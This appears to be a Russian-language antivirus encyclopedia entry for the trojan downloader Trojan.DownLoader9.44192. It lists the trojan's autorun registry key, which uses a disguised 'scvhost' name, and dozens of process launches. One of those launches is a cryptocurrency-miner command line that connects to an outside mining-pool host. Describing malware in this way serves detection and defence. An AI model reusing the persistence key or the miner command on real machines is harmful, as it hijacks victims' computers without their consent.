Trojan.DownLoader9.44192

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'scvhost' = '%APPDATA%\admintools\scvhost.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\admintools\protocol.exe' /pid=3472
'%APPDATA%\admintools\protocol.exe' /pid=6140
'%APPDATA%\admintools\protocol.exe' /pid=5848
'%APPDATA%\admintools\protocol.exe' /pid=4396
'%APPDATA%\admintools\protocol.exe' /pid=6120
'%APPDATA%\admintools\protocol.exe' /pid=3040
'%APPDATA%\admintools\protocol.exe' /pid=3220
'%APPDATA%\admintools\protocol.exe' /pid=1728
'%APPDATA%\admintools\protocol.exe' /pid=3544
'%APPDATA%\admintools\protocol.exe' /pid=392
'%APPDATA%\admintools\protocol.exe' /pid=4488
'%APPDATA%\admintools\protocol.exe' /pid=3944
'%APPDATA%\admintools\protocol.exe' /pid=2708
'%APPDATA%\admintools\protocol.exe' /pid=4812
'%APPDATA%\admintools\protocol.exe' /pid=5532
'%APPDATA%\admintools\protocol.exe' /pid=5412
'%APPDATA%\admintools\protocol.exe' /pid=5732
'%APPDATA%\admintools\protocol.exe' /pid=732
'%APPDATA%\admintools\protocol.exe' /pid=4328
'%APPDATA%\admintools\protocol.exe' /pid=5120
'%APPDATA%\admintools\protocol.exe' /pid=5040
'%APPDATA%\admintools\protocol.exe' /pid=4044
'%APPDATA%\admintools\protocol.exe' /pid=1524
'%APPDATA%\admintools\protocol.exe' /pid=3532
'%APPDATA%\admintools\protocol.exe' /pid=3120
'%APPDATA%\admintools\protocol.exe' /pid=4992
'%APPDATA%\admintools\protocol.exe' /pid=5788
'%APPDATA%\admintools\protocol.exe' /pid=5540
'%APPDATA%\admintools\protocol.exe' /pid=5092
'%APPDATA%\admintools\protocol.exe' /pid=3924
'%APPDATA%\admintools\protocol.exe' /pid=3524
'%APPDATA%\admintools\protocol.exe' /pid=5888
'%APPDATA%\admintools\protocol.exe' /pid=5760
'%APPDATA%\admintools\protocol.exe' /pid=1244
'%APPDATA%\admintools\protocol.exe' /pid=5320
'%APPDATA%\admintools\protocol.exe' /pid=5520
'%APPDATA%\admintools\protocol.exe' /pid=4860
'%APPDATA%\admintools\protocol.exe' /pid=4832
'%APPDATA%\admintools\protocol.exe' /pid=2888
'%APPDATA%\admintools\protocol.exe' /pid=4960
'%APPDATA%\admintools\protocol.exe' /pid=4780
'%APPDATA%\admintools\protocol.exe' /pid=2836
'%APPDATA%\admintools\protocol.exe' /pid=4508
'%APPDATA%\admintools\protocol.exe' /pid=4608
'%APPDATA%\admintools\protocol.exe' /pid=3824
'%APPDATA%\admintools\protocol.exe' /pid=4980
'%APPDATA%\admintools\protocol.exe' /pid=5272
'%APPDATA%\admintools\protocol.exe' /pid=3088
'%APPDATA%\admintools\protocol.exe' -a sha256 -o http://1C###############tz2sgYLzgHF8L8kEJ:a@boingpool.zapto.org:9332 -T 83 -l yes
'%APPDATA%\admintools\protocol.exe' /pid=5012
'%APPDATA%\admintools\protocol.exe' /pid=4900
'%APPDATA%\admintools\protocol.exe' /pid=3380
'%APPDATA%\admintools\protocol.exe' /pid=216
'%APPDATA%\admintools\protocol.exe' /pid=4496
'%APPDATA%\admintools\protocol.exe' /pid=4712
'%APPDATA%\admintools\protocol.exe' /pid=6060
'%APPDATA%\admintools\protocol.exe' /pid=388
'%APPDATA%\admintools\protocol.exe' /pid=6080
'%APPDATA%\admintools\protocol.exe' /pid=5940
'%APPDATA%\admintools\protocol.exe' /pid=4276
'%APPDATA%\admintools\protocol.exe' /pid=5060
'%APPDATA%\admintools\protocol.exe' /pid=2988
'%APPDATA%\admintools\protocol.exe' /pid=5140
'%APPDATA%\admintools\protocol.exe' /pid=4416
'%APPDATA%\admintools\protocol.exe' /pid=5152
'%APPDATA%\admintools\protocol.exe' /pid=5312
'%APPDATA%\admintools\protocol.exe' /pid=5560
'%APPDATA%\admintools\protocol.exe' /pid=5072
'%APPDATA%\admintools\protocol.exe' /pid=5512
'%APPDATA%\admintools\protocol.exe' /pid=6048
'%APPDATA%\admintools\protocol.exe' /pid=5868
'%APPDATA%\admintools\protocol.exe' /pid=5700
'%APPDATA%\admintools\protocol.exe' (загружен из сети Интернет)